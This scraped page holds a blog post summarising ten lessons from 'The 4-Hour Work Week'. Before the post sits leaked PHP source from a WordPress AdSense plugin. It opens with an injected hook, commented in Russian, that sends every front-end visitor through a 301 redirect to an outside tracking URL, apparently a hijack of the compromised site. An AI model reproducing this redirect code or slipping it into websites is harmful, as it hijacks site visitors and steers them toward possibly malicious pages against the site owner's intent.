function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); if(!ADSENSEM_VERSION){die();} $_adsensem_networks['ad_adsense_classic'] = array( 'name' => 'AdSense (Classic)', 'shortname' => 'adc', 'www' => 'http://www.google.com/adsense/', 'display' => false, ); /* INITIALISATION All functions in here called at startup (after other plugins have loaded, in case we need to wait for the widget-plugin). */ class Ad_AdSense_Classic extends Ad_AdSense { function Ad_AdSense_Classic(){ $this->Ad_AdSense(); } function network(){ return 'ad_adsense_classic'; } function save_settings_network() { if($_POST['adsensem-account-id']!=''){ $this->set_account_id(preg_replace('/\D/','',$_POST['adsensem-account-id'])); } $this->p['channel']=strip_tags(stripslashes($_POST['adsensem-channel'])); $this->p['adtype']=strip_tags(stripslashes($_POST['adsensem-adtype'])); $this->p['color-border']=strip_tags(stripslashes($_POST['adsensem-color-border'])); $this->p['color-title']=strip_tags(stripslashes($_POST['adsensem-color-title'])); $this->p['color-bg']=strip_tags(stripslashes($_POST['adsensem-color-bg'])); $this->p['color-text']=strip_tags(stripslashes($_POST['adsensem-color-text'])); $this->p['color-link']=strip_tags(stripslashes($_POST['adsensem-color-link'])); $this->p['uistyle']=strip_tags(stripslashes($_POST['adsensem-uistyle'])); if($_POST['adsensem-action']!='edit defaults'){ //Specific stuff for the ad/referral subtypes (cleaner) $this->save_settings_network_subtype(); } } //Processes the alternate ad options and returns correct code(complicated and needed across the adsense ads). function _render_color_code(){ $code=''; $code.= 'google_color_border = "' . $this->pd('color-border') . '"' . ";\n"; $code.= 'google_color_bg = "' . $this->pd('color-bg') . '"' . ";\n"; $code.= 'google_color_link = "' . $this->pd('color-title') . '"' . ";\n"; $code.= 'google_color_text = "' . $this->pd('color-text') . '"' . ";\n"; $code.= 'google_color_url = "' . $this->pd('color-link') . '"' . ";\n"; return $code; } function import_settings_network($code) { if(preg_match('/google_ad_channel = "(.*)"/', $code, $matches)!=0){ $_POST['adsensem-channel'] = $matches[1]; } if(preg_match('/google_color_border = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-border']=$matches[1];} if(preg_match('/google_color_bg = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-title']=$matches[1];} if(preg_match('/google_color_link = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-bg']=$matches[1];} if(preg_match('/google_color_text = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-text']=$matches[1];} if(preg_match('/google_color_url = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-link']=$matches[1];} $this->import_settings_network_subtype($code); //$this->save_settings(); now done in the main Ad_AdSense class } function import_detect_network($code){return false;} function _form_settings_styles(){ $default=array('' => 'Use Default'); $uistyle=array('0' => 'Square corners', '6' => 'Slightly rounded corners', '10' => 'Very rounded corners'); adsensem_admin::_field_select('Corner Style','uistyle',$uistyle); } function _form_settings_ad_format(){ //Google AdSense data $default=array('' => 'Use Default'); $adtypes=$this->_var_ad_types_available(); $formats=$this->_var_ad_formats_available(); //Get permitted formats for the current network adsensem_admin::_field_select('Ad Type','adtype',$adtypes); adsensem_admin::_field_select('Format','adformat',$formats); adsensem_admin::_field_input('Channel','channel',20,'Enter multiple Channels separated by + signs.'); } //Middle function _var_forms_unit(){ return array('ad_unit');} function _var_forms_column2(){ return array('colors','styles'); } //Show network-id on AdSense Classic function admin_manage_column1(){ adsensem_admin::dbxoutput($this->_var_forms_network()); adsensem_admin::dbxoutput($this->_var_forms_unit()); adsensem_admin::dbxoutput($this->_var_forms_column1()); } } require_once('class-adsense-ad.php'); //AdSense Ad units pre-slot style require_once('class-adsense-link.php'); //AdSense Link units pre-slot style require_once('class-adsense-referral.php'); //AdSense Referral units pre-slot style ?> EliteCashBlog » Blog Archive » The 4-Hour Work Week


Let me start off by saying this book is NOT for everyone.

That said, I am a huge advocate for doing what you love, what you are passionate about. While this is what we presume everyone desires, this is for people with the huevos to actually go through with it. This is for ones who choose to work smart instead of hard to reap and reap the benefits of retirement way before that bleak age when enjoying feels like – well – work. Some of the brilliant logistics described in this book are:

1) Take the risk you are considering… the worst-case scenario is far from as bad as you think, and even should it happen, you can probably recover and learn something in the process. Learn to confront your fear.

2) One of the most universal causes of self-doubt and depression: Trying to impress people you don’t like

3) Even high-profile celebrities are more accessible than you think. Find a mentor, and don’t be shy when it comes time to contact the people you need to start your own business or make a sale.

4) Find a Virtual Assistant. US or foreign-based, it makes sense to pay other people for their time so you have more of your own.

5) The goal isn’t to be lazy, but rather to focus your time on work you find meaningful while eliminating or delegating low-value work. Be productive, not busy! Apply the 80/20 rule: concentrate on the 20% of your life which produces 80% of your benefits, and eliminate the 20% of your life which wastes 80% of your time. This applies to personal relationships, clients, tasks, etc. To stay on track, several times a day, check whether you’re being truly productive.

6) Always work from a to-do list that clearly identifies top priorities, and do only one thing at a time from start to finish (no multitasking).

7) If you are entrepreneurial, start a business. Micro-test your ideas first.

8) If you are happy working for a company, negotiate for a remote working agreement at least for some of the time.

9) Plan out mini-retirements. Take some time to enjoy life.

10) Aim high with your goals, since there’s more competition in the domain of mediocre goals, plus big goals will give you the energy to push through obstacles and setbacks. At the same time, be flexible and let things unfold naturally, rather than trying to present a plan for your whole life. And in setting goals, don’t get bogged down by trying to answer big existential questions which are ill-posed because they misuse language, and likewise don’t waste time on questions for which the answer would make no difference regarding what action to take now.

And much, much more. Find out more about this excellent read that can change your life here.

Posted by admin, filed under Business. Date: April 19, 2013, 4:09 pm | No Comments »

Comments are closed.